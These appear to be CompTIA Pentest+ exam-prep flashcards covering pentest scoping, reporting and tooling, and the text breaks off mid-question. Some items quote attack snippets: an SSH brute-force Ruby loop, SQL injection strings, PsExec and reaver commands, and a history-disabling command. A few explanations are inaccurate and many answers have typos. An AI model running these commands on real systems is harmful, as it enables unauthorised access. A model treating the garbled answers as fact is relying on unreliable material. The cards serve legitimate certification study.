Pocket Prep CompTIA Pentest+ Flashcards
Alex is writing a python script to test multiple credentials against a login page.
How would Alex loop the credential testing function?
A. user = user++
user.connect(target)
B. if user in creds:
connect (target,user)
C, user = creds
connect user, target
D.for user in creds:
connect(target,user)
D.for user in creds:
connect(target,user)
Explanation:
A simple method of iterating a list is the “for loop”.
The above code will run the “connect)target,user)” function for each user found in the “creds” array
Which of the following describes the process of deconfliction?
A.A change management process for remediating vulnerabilities
B.A communication process of sorting out pentesters artifacts from real compromise
C.A risk assessment process
D.A vulnerability scanning process with limited impact
B.A communication process of sorting out pentesters artifacts from real compromise
Explanation:
Communication with the client provides the ability for deconfliction, which is the process of sorting out pentesters artifacts from real world compromise.
This limits the risk of the pentester becoming the scapegoat in case of business impact
Alex is preparing for a pentest, but the client has a network access control in place that would prevent most, if not all, of Alex’s packets during testing.
What can be done to enable the testing?
A,.Devices behind the firewall can be execluded from the testing scope
B.Alex can test out of office hours
C.The client can disable the firewall
D.The client can make a security exception in the NAC
D.The client can make a security exception in the NAC
Explanation:
Sometimes a security exception at the network layer is needed to enable a pentester to complete their tests
During reconnaissance, Ryan identified a service running on the remote host with an older version.
Where would Ryan look for an exploit for this version? A.Kali Linux website B.Exploit-DB Website C.SANS Website D.OWASP Website
B.Exploit-DB Website
Explanation:
Exploit DB is a huge database with extensive lists of exploits for many different kinds of software.
They maintain up-to-date lists of exploits and POCs for older and newer version of software
Alex is asked to perform a pentest against a web application.
Part of her task involves software assurance.
She has identified 11 dynamic parameters on the web app that need testing.
Which method should she start with? A.Directory traversal B.Spear Phishing C.Fuzzing D.Code Injection
C.Fuzzing
Explanation:
In this type of testing Alex is evaluating how well a website or web application processes and filters-user supplied input.
Web fuzzing is a technique used to provide invalid or random data as inputs to form fields, URL parameters and so forth in an effort to elicit an error and an unintentional response that could identify a potential injection flaw
In what situation would a goal re prioritization likely occur?
A.When a critical target is successfully exploited
B.When new systems are added to the environment
C.Every time the scope changes
D.If third-party malware or traces of compromise are found during testing
D.If third-party malware or traces of compromise are found during testing
Explanation:
During the pentest you may discover malware, malicious binaries, or services running on servers that neither you nor the client created.
These indicators of prior compromise should be brought to the clients attention immediately, because goal reprioritzation may be necessary to properly plan and address the new problem
Where would a regular vulnerability can be mandated within an organization? A.In the legal disclaimers B.In the corporate policy C.In the corporate goals D.In a change management procedure
B.In the corporate policy
Explanation:
Even though it is not a regulatory requirement, many organizations mandate vulnerability scanning in their corporate policy
Through reconnaissance, Alex has identified a group of top-ranking managers in his targeted organization.
His next move is to send all of them a specially crafted email that contains a malicious attachment in the form of an Excel financial report.
What type of attack is Alex using? A.Spear phishing B.XSS C.CSRF D.Whaling
D.Whaling
Explanation:
Whaling is a spoofed-email attack that is used to target members of an organization that have credentials and access to the types of resources that could cause catastrophic damage to a business if compromised
Alex is preparing the remediation section of her report.
The issue in question is an authentication service open to the Internet.
This is at risk of brute-force attacks and Alex needs to address it.
Which suggestion would best fir the given situation?
A.Using cookies
B.Implementation of multifactor authentication methods
C.Changing the default service port to one less frequently used
D.Enabling PAM (Password Authentication Manager)
B.Implementation of multifactor authentication methods
Explanation:
Adding a pin from a third-party device or a private key along with password would apply an additional layer of security to the authentication mechanism
During a pentest, Erik notices that the website manages sessions using session tokens.
However, he believes that those tokens could be a potential weakness and would like to test the entropy or weak attributes.
Witihn Burp Suite Pro, which plugin would be able to perform the analysis? A.Burp Decoder B.Burp Sequencer C.Burp Repeater D.Burp Intruder
B.Burp Sequencer
Explanation:
Burp Sequencer is a tool for analyzing the quality of randomness in a sample of data items.
You can use it to test an applications session tokens or other important data items that are intended to be unpredictable, such as anti-CSRF tokens, password reset tokens, etc.
Burp Intruder is a tool for automating customized attacks against web applications.
It is extremely powerful and configurable, and can be used to perform a huge range of tasks, from simple brute-force guessing of web directories through to active exploitation of complex blind SQL injection vulnerabilities
Burp Repeater is a simple tool for manually manipulating and reissuing individual HTTP Websocket messages and analyzing responses.
You can use Repeater for all kinds of purposes, such as changing parameter values to test for input-based vulnerabilities, issuing requests in a specific sequence to test for logic flaws and reissuing requests from Burp Scanner issues to manually verify reported issues
Burp Decoder is a simple tool for transforming encoded data into its canonical form, or for transforming raw data into various encoded and hashed forms.
It is capable of intelligently recognizing several encoding formats using heuristic techniques
Jenny is performing a pentest and she managed to gain access to a Windows host.
What tool should she consider using in order to extract credentials from the Windows host? A.netcat B.Mimicatz C.PowerShell D.WMIC
B.Mimicatz
Explanation:
Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs and Kerberos tickets.
Other useful attacks it enables are pass-the-hash, pass-the-ticket or building Golden Kerberos tickets.
This makes post-exploitation lateral movement within a network easy for attackers.
Wrong Answers:
Netcat is a computer networking utility for reading and writing to network connections using TCP or UDP.
The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts.
The Windows Management Instrumentation Command line (WMIC) is a software utility that allows user to perform Windows Management Instrumentation (WMI) operations with a command prompt
PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language
What is the downside of injection malicious code into a legitimate service using Meterpreter?
A.The malicious code is easily detected
B.The malicious code might be spotted by AV
C,The malicious code will likely not survive a reboot
D.It is impossible to control the malicious code once its injected into a legitimate service
C,The malicious code will likely not survive a reboot
Explanation:
Having the malicious code injected into a service (legitimate or not) would mean that the code would be ran from that services memory space, but it would not ensure persistence.
If the machine is rebooted, the service will be restarted, but the malicious code will not be executed
When would be an appropriate time for system hardening to take place?
A.At the initial system setup
B.Before any pentest engagement
C.After every pentest that find critical vulnerabilities
D.When the system is initially deployed and on a regular basis after that
D.When the system is initially deployed and on a regular basis after that
Explanation:
Administrators should initially setup the host with system hardening in mind.
They should repeat this process on a periodic basis and configure the systems as business needs change
What type of attack is the following request?
‘https://target.com/login.php?user=James&pass=test’or’1’=’1
A.Credentials brute-force
B.Cross-site scripting
C.Weak credentials attack
D.SQL Injection attack
D.SQL Injection attack
Explanation:
SQL Injection is a method where a malicious user can create a true statement using OR 1=1 and pass it in the username or password field of the HTML form page
Alex is a about to conduct a pentest.
This client has informed her that a large percentage of their services are hosted in an AWS cloud.
What requirements would have to be fulfilled before Alex proceeds with the test?
A.A third-party authorization
B.The pentest should be declined due to the third party
C.An NDA with the third-party provider
D,A new pentest agreement with the third-party provider
A.A third-party authorization
Explanation:
In cases where a third-party provider is involved, additional authorization would be required by that particular provider
Kayla is pentesting a web application.
She managed to find a search parameter and, after poking around, she got the following message from the server.
‘You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “’”.
What kind of potential vulnerability has Kayla found?
A.Sensitivbe Data Exposure
B.Directory Traversal
C.Cross-Site Scripting (XSS)
D.SQL Injection
D.SQL Injection
Explanation:
A SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.
It generally allows an attacker to view data that they are not normally able to retrieve.
This error message is usually generated by the SQL server, suggesting that the intial request did reach the SQL server and was executed.
However, due to the way the request was structured, the output produced an error.
It is likely that a properly structured SQL query will succeed in extracted data from the database.
Incorrect Answers:
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.
XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.
Directory Traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files
Sensitive Data exposure differs from a data breach, in which an attacker accesses and steals information
Patrick has gained access to a corporate WIFi network.
He is using Kali Linux and going to execute a man-in-the-middle attack.
Which of the following is his best choice to execute this attack? A.Nmap B.Ettercap C.Nikto D.Aircrack-ng
B.Ettercap
Explanation:
Ettercap is a free and open source network security tool for man-in-the-middle attacks on LAN.
It can be used for computer network protocol analysis and security auditing.
It runs on various UNix-like operating systems including Linux, Mac OS X, BSD and Solaris and on Microsoft Windows.
It features sniffing of live connections, content filtering on the fly and many other interesting tricks.
It supports active and passive dissection of many protocols and includes many features for the network and host analysis
Your client needs to verify the successful implementation of limited network access and limited storage access for part of their environment.
What sort of assessment would that be? A.Compliance-driven assessment B. Goal-based assessment C.Vulnerability Scanning D.Black box assessment
A.Compliance-driven assessment
Explanation:
Limited network access and limited storage access are common conditions in PCI compliance, for example.
This usually applies to specific systems involved in transactions processing to other specific services
In Burp Suite Pro, when you want to replay a request but change some of the parameters, which module will you use? A.Extender B.Sequencer C.Scanner D.Repeater
D.Repeater
Explanation:
Using the Repeater, you can replay any specific request and be able to change all of its properties as well as the type of the request:
GET/POST, etc.
The Extender is used to add extensions to your Burp setup
Burp Sequencer is a tool for analyzing the quality of randomness in a same of data items
Burp Scanner is a tool for performing automated scans of web sites
John is listing out his findings in the pentest report.
For each finding, John has provided in the following:
Finding ID, Vulnerability, Risk Rating, Remediation, Reference
A.Source
B.Exploit
C.Impact
D.Results
C.Impact
Explanation:
For each finding, the pentest report should also include the impact of it,
This could include the criticality level (low, medium, high and critical)
Which of the following is mandatory for a compliance scan?
A.Involve a compliance officer
B.Scan all registered ports
C.Test the environment against the security standards
D.Sign an NDA
C.Test the environment against the security standards
Explanation:
Compliance-based assessments audit an organizations ability to follow and implement a given set of security standards in an environment.
Many industry standards affect and regulate the way sensitive data may be protected, stored and processed within an information system
Apart from criticality of the impacted system, what other measures should be considered when prioritizing mitigation actions?
A.Whether a POC is available for free on the internet
B.OS of the vulnerable system
C.Difficulty of remediating the vulnerability
D.How long it takes to exploit the vulnerability
C.Difficulty of remediating the vulnerability
Explanation:
If fixing a vulnerability will require a very large commitment of human or financial resources, that needs to be considered when prioritizing mitigation steps
George went through the following path of exploitation to successfully gain access to a targeted host:
He initially scanned the host, found a vulnerable DB service leaking some credential information and used those creds to authenticate to the DB.
Using the DB access, he managed to create a backdoor on the system and finally obtained access to it.
What is this string of attacks called? A.Exploit Chaining B.Black Box Testing C.White Box Testing D.Vulnerability Scanning
A.Exploit Chaining
Explanation:
Exploit chaining is the process of using multiple exploit methods and techniques in a sequence in order to successfully exploit the host
While testing, Rob was able to exploit a SQL Injection on the clients website.
He was able to generate a POC,
Should Rob inform the client of the vulnerability at this stage, or should he wait and present it in the final report?
A.All findings are listed in the final report, there is no need to contact the client during the testing
B.SQL Injection is not critical enough to be communicated to the customer before the final report
C. Its a good practice to communicate critical findings in a timely manner; Rob should contact his client and share his finding
D.All findings, large or small should be reported as soon as they are identified
C. Its a good practice to communicate critical findings in a timely manner; Rob should contact his client and share his finding
Explanation:
High criticality findings are usually reported to the client the moment they are discovered.
The client might need to take some action or provide some guidance on future tests on those vulnerabilities
Findings with low, medium or informational classification are usually only reported in the final report.
Those would not require immediate response from the client
How would you classify a vulnerability found on a Linux machine associated with Microsoft Remote Desktop service? A.Critical B.Informational C.False-Negative D.False-Positive
D.False-Positive
Explanation:
Non-credentialed vulnerability scans can produce a fair share of false positives and may provide little to no verification of discovered vulnerabilities.
Microsoft Remote Desktop service could not be ran on a Linux machine thus suggesting that the vulnerability is a false positive and not exploitable
In what way could Alex potentially exploit an FTP service with allowed Anonymouse access?
A.User her Anonymouse account to upload malicious code or tools for remote code execution
B.User her Anonymouse account to log into the FTP server host on a shell terminal
C.Use her Anonymouse account to enumerate users
D.User her Anonymouse account to download restricted data from the FTP site
A.User her Anonymouse account to upload malicious code or tools for remote code execution
Explanation:
The reason for anonymouse access is to allow public, untrusted users to download files from a restricted environment.
However, misconfigurations with directory permissions could allow arbitrary files/directories to be uploaded and lead to remote code execution
You are tasked with a compliance-based pentest.
The clients key management solution is hosted on a third-party vendor.
How could this affect the pentest?
A.The client will have to arrange local key management in order to fulfill the compliance requirements
B.The pentestd scope might have to exclude key management from testing, as it falls outside of the clients environment
C.The third-party service provider needs to request an additional pentest and pass the compliance requirements
D.The pentests scope might have to include the third partys policies and practices regarding key management
D.The pentests scope might have to include the third partys policies and practices regarding key management
Explanation:
Depending on the third-party provider, the scope of the test might have to be increased to cover the additional policies and practices.
Some key management service providers do not have the certification needed to fulfill the compliance requirements, in which case the pentestes scope would not need to be increased
During information gathering, Erika is attempting to complete a successful zone transfer request.
Out of her arsenal of tools, which one would allow her to complete this? A.Nmap B.Ping C.net use D.Telnet
A.Nmap
Explanation:
Nmap, a free open-source scanner, is used ti discover hsots and services on a computer network by sending packets and analyzing the responses.
Nmap provides a number of features for proving computer networks, including host discovery and service and OS detection.
Nmaps capabilities are enhanced by the NSE scripts.
Nmap can be utilized with the “dns-zone-transfer.nse’ script to complete a successful zone transfer request
What sort of attack is the jamming attack? A.Denial of service against Wi-Fi B. Social Engineering Attack C.VoIP Attack D.Web Application Attack
A.Denial of service against Wi-Fi
Explanation:
The goal if jamming is to overwhelm the good signal.
The targeted victim would not be able to connect and thus the service would be disrupted
When planning a pentest, one of the most important things that needs to be considered is? A. Number of VLANs in the environment B.Pentesting tools C.Firewall rules D.Target selection
D.Target selection
Explanation:
Selecting the targets to include in the engagement is crucial, as the organization may have many assets (people, processes, facilities, and technologies) located throughout the world that need to be considered during the target selection process
George is reviewing a vulnerability scan report.
He notices a critical vulnerability on a Linux host, but the vulnerability is related to a Windows-only service.
How should George categorize this finding? A.False negative B.True positive C.True negative D.False positive
D.False positive
Explanation:
False positive means that the positive finding is false
False negative would mean that even though something is reported “not vulnerable” it is vulnerable
True positive means that a vulnerability is in fact vulnerable
True negative would mean that a lack of vulnerability is in fact correct
When planning a penetration test, the client informs the testing company a specific type of data that falls under national export restrictions.
What does that mean for the pentesters?
A.It means this data is out of the pentests scope
B.It means that a nondisclosure agreement should be signed
C.It means the data is a high-value target
D.It prohibits the testing company from exporting this data to restricted countries
D.It prohibits the testing company from exporting this data to restricted countries
Explanation:
Export restrictions apply to services, technology or data
National export restrictions would mean that the given services, data or technology should not leave the country
What sort of exploitation technique can be used with the following command:
’.\PsExec.exe -u administrator -p secure \dc01 cmd’
A.Lateral movement
B.Credential dumping
C.Pass the hash technique
D.Host discovery
A.Lateral movement
Explanation:
PsExec is a legitimate tool, often used by Windows Administrators to perform remote tasks.
It is also widely known among penetration testers and malicious attackers, as it provides perfect grounds for lateral movement in a targeted environment
What is SMB?
A.A tool in Kali Linux
B.A protocol that allows remote command execution
C.A protocol for remote access in Windows
D.A file sharing protocol
D.A file sharing protocol
Explanation:
SMB stands for Server Message Block..
This protocol allows sharing of files between Windows-based systems within the same network
In the mitigation section of his report, James suggests that the client enforce a strong password policy and high complexity.
Passwords should be changed often and shared with as few people as possible.
What vulnerability is he addressing is he addressing with this suggestion? A.Shared admin password B.Cross-site Request Forgery C.Password in cleartext D.SQL Injection
A.Shared admin password
Explanation:
Organizations should randomize the passwords of admin accounts, making them strong, complex passwords that are unique on each system
They may then use a password management tool to track all of these passwords
John is starting a penetration test; which opf the following tools can he use to gather intel passively? A.Nmap B.Burp Suite C.theHarvester D.OWASP ZAP
C.theHarvester
Explanation:
The tool is designed to scan databases and structure the results.
Nmap is a port/service scanner
Burp Suite and OWASP ZAP are proxy software, not OSINT tools
Analyze the Ruby code below. What purpose does it serve?
File.foreach(wordlistfile).with_index do |line, idx|
pass= line.chomp
print "\rTrying password number #{idx} : #{pass}"
begin
result1 = Net::SSH.start(target,
user,
:password => pass,
:auth_methods => ["password"].
:number_of_password_prompts => 0
)
rescue Net::SSH::AuthenticationFailed => auth
else
abort "\nThe password is #{pass}"
end
end
A.Remote control script
B.SSH Brute-forcing
C.Password changing script
D.Pass-the-hash script
B.SSH Brute-forcing
Explanation:
Ruby is a general purpose programming language commonly used by pentesters to create usable code.
As a programming language, Ruby differes from Bash and PowerShell in its flexibility and usefullness.
The script above shows a standard look that goes through a list of passwords and attempts to authenticate a user with each of them.
Upon success, it will print out the correct password.
This process is called brute-forcing
What method is used in Linux and macOS to help mitigate the possibility of a malicious user removing files from within a directory with another trusted user account? A.Sticky bit B.sudo C.PAM for Unix D.AC tables
A.Sticky bit
Explanation:
A sticky bit is a permission but, like a setuid or setgid bit, but it is set on a directory that allows only the owner of the file within the directory to delete or rename the file
An example of a directory with the sticky bit set would be /tmp in Linux and macOS
George has submitted his pentest report and received acceptance of the results from the client.
To conclude the penetration testing, what else is required of George?
A.Nothing; George is completely done with this pentest and all activities related to it
B.George should conduct to a post-engagement cleanup
C.George should stop all running scans and tests
D.George should start retesting the environment
B.George should conduct to a post-engagement cleanup
Explanation:
He should removal all tools, accounts and other traces of his work from the clients environment
What type of assessment is a password policy assessment? A.White box B.Compliance-based C.Red team D.Black box
B.Compliance-based
Explanation:
Compliance-based assessments usually verify the company’s ability to enforce specific security policies, for example, minimum password strength or minimum encryption strength on data in transit or at rest
A rainbow table is best described as:
A.A dynamically generated table or a list of values based on predefined criteria
B.A Windows password hashes table
C.A database table of a Postgre server
D.A precomputed list or a table of all possible hash values
D.A precomputed list or a table of all possible hash values
Explanation:
Rainbow tables are prehashed values and because of this they tend to grow in size and require more storage
By determining the risk appetite of the client, what is James attempting to find out?
A.How much risk the client is ready to tolerate to achieve their goals
B.The security posture of the client
C.What type of engagement should be conducted
D.Whether the company has been successfully hacked before
A.How much risk the client is ready to tolerate to achieve their goals
Explanation:
Every organization has its own level of risk appetite, which is how much risk the organization is willing to tolerate to achieve its goals.
In the case of pentesting, the organization may apply some tight constraints on how their internal environment is accessed, how sensitive data is being handled and who is allowed to conduct the testing
Common Weakness and Enumeration (CWE) is maintained and published by which of the following? A.OWASP B.MITRE C.CAPEC D.SANS
B.MITRE
Explanation:
Common Weakness Enumeration is a community developed list of common software and hardware security weaknesses.
It is published and maintained by the MITRE Corp
Richard is using aircrack-ng suite against the clients wireless network.
He is at the point where he needs to start capturing packets.
Which tool of the aircrack-ng suite should Richard use? A.airodump-ng B.airmon-ng C.None of these D.airplay-ng
A.airodump-ng
Explanation:
Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs.
It works with any wireless network interface controller whose driver supports raw monitoring mode and can sniff 802.11a, 802.11b and 802.11g traffic.
Airodump-ng is used for packet capturing of raw 802.11 frames.
It is ideal for collection WEP IVs for use with aircrack-ng.
If you have a GPS receiver connected to the computer, airodump-ng can log the coordinates of the discovered access points.
Airmon-ng is used to enable and disable monitor mode on wireless interfaces.
It may also be used to go back from monitor mode to managed mode.
Aireplay-ng is included in the aircrack-ng package and is used to inject wireless frames.
Its main role is to generate traffic for later use in aircrack-ng for cracking WEP and WPA-PSK keys.
Aireplay-ng has many attacks that can de-authenticate wireless clients for the purpose of captuiring WPA handshake data, fake authentications, interactive packet replay, hand-crafted ARP request injection and ARP-request re-injection
Company XYZ has accepted the pentest report created by George and requested all other copies of it to be properly disposed of.
Can George keep his personal copy of the report for his own reference?
A.No; the data in the report is the property of the client.
B.Yes; as long as he keeps it only for his personal reference
C.Penetester reports are always stored by the penetration company or the consultant that produces the pentest for a period of six months after test completion for legal reasons
D.Yes, the report was created by George and he is the owner of the document
A.No; the data in the report is the property of the client.
Explanation:
The information in the report is owned by the client.
Upon request, the pentester should destroy all of the data collected during testing, including his copy of the pentest report
Jack is attempting to enter a high-security area on the clients premises.
There is no security guard, but the automated door is controlled by RFID on the outside and a motion sensor on the inside.
Clearly, the aim is to prevent people from entering and to enable easy exit.
Jack is using a single sheet of paper, which he pushes through the small gap between the door and the root.
The paper sheet triggers the motion sensor and the door opens.
Which security mechanism has Jack exploited? A.Jack used the tailgating technique B.The emergency exit C.The RFID sensor D.The egress sensor
D.The egress sensor
Explanation:
The egress sensor is the motion detector that enables easy exit
WHich of the following tools could be used for making automatic scans and setting automatic updates? A.Nmap B.Burp Suite C.Metasploit D.Nessus
D.Nessus
Explanation:
Nessus is a scanning tool that can automate the enumeration process and be left in the background to collect information
Incorrect answers:
Burp Suite is a set of tools used for manual information-gathering. It allows manual testers to intercept all request and responses between the browser and the target application, even when HTTPS is being used
Nmap is an open-source network scanner that discovers hosts and servers manually
Metasploit is a framework that is best known for its automation in making attacks and creating shells on a victims machine
During the pentest, Robert was able to successfully exploit SQL injection vulnerability on the clients website.
When dumping the database, he noticed that all passwords were stored in clear text.
He then used the credentials from the database and attempted to authenticate against other clients asset.
EVentually he managed to gain shell access to one of the file share servers.
What mitigation should Robert suggest to the client based on the above results?
A.Change website technology to NoSQL
B.Train users to use more complex passwords
C.Always store passwords in an encrypted state
D.Prevent external logging with a firewall
C.Always store passwords in an encrypted state
Explanation:
Regardless of the technology and platform, passwords should always be stored in an encrypted state.
There is always the danger of compromising the host when passwords are stored in plain text.
What could be the result when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer?
A.The allocated stack size will be increased dynamically
B.None of these
C>Corruption of adjacent data on the stack
D.Overfilling a buffer on the heap
C>Corruption of adjacent data on the stack
Explanation:
A stack buffer overflow or stack buffer overrun occurs when a program writes to a memory address on the programs call stack outside of the intended data structure, which is usually a fixed-length buffer.
Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer/
This almost always results in corruption of adjacent data on the stack, and in cases where the overflow was triggered by mistake, will often cause the program to crash or operate incorrectly.
Stack buffer overflow is a type of the more general programming malfunction known as buffer overflow (or buffer overrun)
Overfilling a buffer on the stack is more likely to derail program execution than overfilling a buffer on the heap because the stack contains the return addresses for all active function calls
A stack buffer overflow can be cause deliberately as part of an attack known as stack smashing.
If the affected program is running with special privileges, or accepts data from untrusted network hosts then the bug is a potential security vulnerability.
If the stack buffer is filled with data supplied from an untrusted user then that user can corrupt the stack in such a way as to inject executable code into the running program and take control of the process.
This is one of the oldest and more reliable methods for attackers to gain unauthorized access to a computer
Alex is using a reporting tool that can take input in XML format and produce a natively converted report in HTML.
What flag in an XML format ready to be imported into the reporting tool? A.--output=html B.--report=xml C.-oX D.-xml
C.-oX
Explanation:
-oX will instruct Nmap to produce the final results in XML format
Other options:
-oN = Normal output
- oG = grepable format
- oA = output the results in all formats
WHich of the following is the most important reason for the need for good and clear communication between the client and the penteser during the pentest engagement?
A.Situational awareness
B.Exchange of penetesting ideas and approaches
C.Regular updates on current status and progress
D.Quick response to changes in the scope
A.Situational awareness
Explanation:
For pentesters to ensure that they are in line with the pentests scope and the clients expectations, it is essential that they keep clear and open channels of communication.
Such communication is useful to provide situational awareness by keeping the pentesters informed of any changes in the clients environment.
For example, if the client needs to make changes to increase their productivity, pentesters should be made aware so that testing does not interfere with the clients business activities
What is the CVSS used for?
A. To describe a vulnerability
B.To determine the impact of a vulnerability
C.As a web pentest tool
D.As an exploit database
B.To determine the impact of a vulnerability
Explanation:
CVSS stands for Common Vulnerability Scoring Syste,
This system is used to provide metrics that can be used to determine the impact of a vulnerability to the environment of the organization.
Things that are considered when assigning a CVSS score are: exploitation difficulty, impact on data integrity etc.
What is a honeypot in IT security?
A.A security tool for debuting of malicious code
B>A pentesting tool
C.A social engineering technique
D.A method of deception used by security teams
D.A method of deception used by security teams
Explanation:
Honeypots are systems that can be found in the targeted organizations environment that appear to be vulnerable and thus are usually targted by malicious attackers.
However, they are simply a method of deception with the goal of distracting attackers from the real target
Using “wash”, George has identified WPS-enabled networks.
He is attempting to exploit the WPS vulnerability associated with some old APs and brute force the WPS PIN.
Which command will he use? A.wpshack -wlan0 --host HackMe B.Airodump-ng -i wlan0 --wps -b HackMe C.Aircrack-ng -i wlan0 -c 11 --ap HackMe D.reaver -i wlan0 -b HackMe -c 11 -K 1
D.reaver -i wlan0 -b HackMe -c 11 -K 1
Explanation:
The command options include the following:
- i Your wireless interface name
- b MAC of the target AP
- c Channel to camp on
- K Execute pixie dust attack (brute-force WPS PIN)
James has completed the pentest engagement, but because some of the applications were still in development stage, he was unable to properly test them.
How could he BEST address the issue?
A.He could test the development environment as a gesture of goodwill
B.He could use the conclusion section to suggest future tests of previously excluded items
C.He could prepare a new pentest offer and send it to the client with the pentest report
D.He could mention this issue in a face-to-face meeting with the client
B.He could use the conclusion section to suggest future tests of previously excluded items
Explanation:
The conclusion section is where such information should be included.
For example, if your pentest scope excluded web application testing, you might recommend conducting that testing in a future engagement
Parameterized queries are usually remediation for what type of vulnerability? A.DNS Zone Transfer B.CSRF C.Man-in-the-Middle D.SQL Injection
D.SQL Injection
Explanation:
Input validation and parameterized queries are the usual remediation for SQL Injection vulnerabilities.
ANy unnecessary open services should be closed as part of system-hardening activities
James is involved in a pentest, and the client would like to add his IP address to the IPS whitelist.
What sort of engagement will it likely be? A.Grey box B.APT C.White box D.Red team
C.White box
Explanation:
Usually in a white box engagement, the pentester is allowed through the firewall and other preventive measures
Through threat modeling, the client determines that their main concern is persistent attackers using complex attacking techniques and models.
Which sort of threat actor is the organization most worried about? A.Insider Threat B.Pentester C.APT D.HAcktivist
C.APT
Explanation:
The advanced persistent threat (APT) is a type of threat actor motivated to steal sensitive information from high-profile targets using sophisticated hacking capabilities
Which of the following is a fairly easy and underestimated attack vector? A.Wi-Fi Password Cracking B.Insider Threats C.Phishing Emails D.Zero-Day exploits
C.Phishing Emails
Explanation:
Phishing attacks target sensitive information like passwords, usernames or credit card information.
While most phishing is done via email, there are many related attacks that can be categorized as types of phishing
WiFi password cracking requires physical access to the location, and besides that there is a whole exploitation chain associated with that attack
Zerp-day exploits are very hard to find and usually not available to the public
INsider threats are not exactly pentest-related and would require a rogue employee
During a web penetration test, Sara identified a user input field and attempted the following input:
“test; SELECT Username,Password FROM Users;–”
What is Sara testing for? A.Directory Traversal B.Remote Code Execution (RCE) C.SQL Injection D.Code Injection
C.SQL Injection
Explanation:
“test; SELECT Username,Password FROM Users;–”
is a SQL query and, if not validated properly, would be executed by the server.
Even if the query is incorrect, a vulnerable server would return and SQL error, thus suggesting that the query in fact reached the DB server
WHat combination of tools could ALex use to obtain an administrators password from a domain controller once he has access to it? A.Nessus and Burp B.Mimikatz and John The RIpper C.SQLmap and Mewl D.SET and Burp
B.Mimikatz and John The RIpper
Explanation:
Mimikatz is good for obtaining password hash files and databases such as Windows SAM database,
While Mimikatz could also attempt to crack the passwords, John the Ripper is specifically focused on password cracking using a file with stored passwords.
In combination, both tools complement each other
George suspects that he has managed to comrpomise a virtual Windows machine during his penetesting actions.
What method could he use to determine whether the machine is in fact virtual or physical?
A.Check the network adapter drivers to determine if its a VM interface
B.Check the Windows version and determine if its associated with virtualization
C.Run the “wmic baseboard get manufacturer, product” command
D.Check the network configuration and look for a VMnet identifier
C.Run the “wmic baseboard get manufacturer, product” command
Explanation:
This command provides the manufactuer and the product name of the machines motherboard.
On a virtual machine, this command would output the virtualization platform
The following code is an excerpt of what type of attack?
A.PHP Web SHell
B.Cross-site scripting
C.PHP System function
D.HTML Code Injection
A.PHP Web SHell
Explanation:
Web servers that support various web scripting languages such as PHP can easily fall victim to backdoor shells.
Controlling access to where files are uploaded and controlling supported file types are ways to mitigate against this type of vulnerability.
A simple PHP one-liner is sometimes all you need
What remediation method could be suggested in the following scenario?
On a client’s host the following services are found to be running:
port service
22 SSH
23 Telnet
25 SMTP
80 HTTP
443 HTTPS
Upon checking with the client, Alex is informed that they haven’t used telnet for years.
A.Institute a regular user password changing policy
B.Change the telnet port to one less frequently used
C.Close all unused ports and disable all unused services
D.Use two-factor authentication for telnet login
C.Close all unused ports and disable all unused services
Explanation:
One of the best and in fact mandatory ways to improve the security state of a system or even of an environment is to make sure there are no running services or open ports that are not being used
Which of the following could be considered an indicator of a previous compromise and would be a reason to urgently notify the client?
A.Traces of the psexec command in the event logs
B.A cron job running a file from the /tmp folder
C.Multiple user accounts on the system
D.The presence of Sysinternal tools in the home folder of the admin
B.A cron job running a file from the /tmp folder
Explanation:
Such a cron job is usually associated with a malicious file being executed from the /tmp folder.
This indicator of prior compromise should be brought to the attention of the customer immediately
Having multiple user accounts is fairly common and likely benign
Use of the psexec command could be related to legitimate admin work
Sysinternal tools are quite often used by Windows admins
Which of the following is specific to testing of POS systems?
A.They are prone to DOS attack vulnerabilities
B.They are usually more secure and require extensive testing
C.They need to be PCI DSS compliant
D.The tester needs to sign an NDA
C.They need to be PCI DSS compliant
Explanation:
POS (Point of Sale) systems involved in credit and debit card transactions must comply with the Payment Card Industry Data Security Standard (PCI DSS), which outlines strict, specific rules for all the handling of credit card information and the security of devices involved in those transactions
George has gained SSH access to a Linux host.
The first command he types in is:
‘set +o history’
Why would George start with this command?
A.To check the previous commands and look for passwords
B.To prevent his next commands from being recorded
C.To elevate privileges
D.To enable persistence
B.To prevent his next commands from being recorded
Explanation:
Both Linux and Mac OS keep track of the commands user type in the terminal.
The BASH shell will record keystrokes in the $HOME/.bash_history file.
During a pentest, once you obtain access to a Unix/Linux/Mac operating system, it is a best practice to unset the history file to prevent the user/administrator from known what commands you are executing, as well as not commingling your dirty/malicious commands with a users history
What will the following command achieve when executed on a machine member of the AMS domain?
‘net group /AMS’
A.List users of the AMS group
B.List groups on the AMS domain
C.List domains of the AMS group
D.Add AMS to the group
B.List groups on the AMS domain
Explanation:
Exploring Windows domains will be a lot easier if you are familiar with the Windows net commands
Select which two tools are used during the reconnaissance phase of a pentest
A.Shodan, aircrack-ng
B.Burp, SQLmap
C.Sqlmap, Maltego
D.Maltego, SHodan
D.Maltego, Shodan
Explanation:
Maltego is a very powerful tool for collecting reconnaissance data and identfying connections between objects of interest.
Shodan is a search engine, specialized in identifying hardware appliances and servers along with running services and software version.
Shodan is very helpful when performing reconnaissance against internet facing targets
Burp is a local proxy tool, heavily used when performing web pen test.
Sqlmap is a python based tool focused on SQL injection attacks
Aircrack-ng is a tool used for WiFi pentesting
Similar to scheduled tasks in WIndows, which tool in Linux do attacker often use for persistence? A.Cron B.Sudo C./etc/passwd D.ifconfig
A.Cron
Explanation:
Linux uses cron or cron jobs for scheduled activities.
It is similar to Windows scheduled tasks and could be used in a similar way to establish persistence on a system and survive reboot
James has gain user-level access to a Windows server.
What could he try to elevate his access?
A.Look for files containing passwords
B.Look for anonymous users
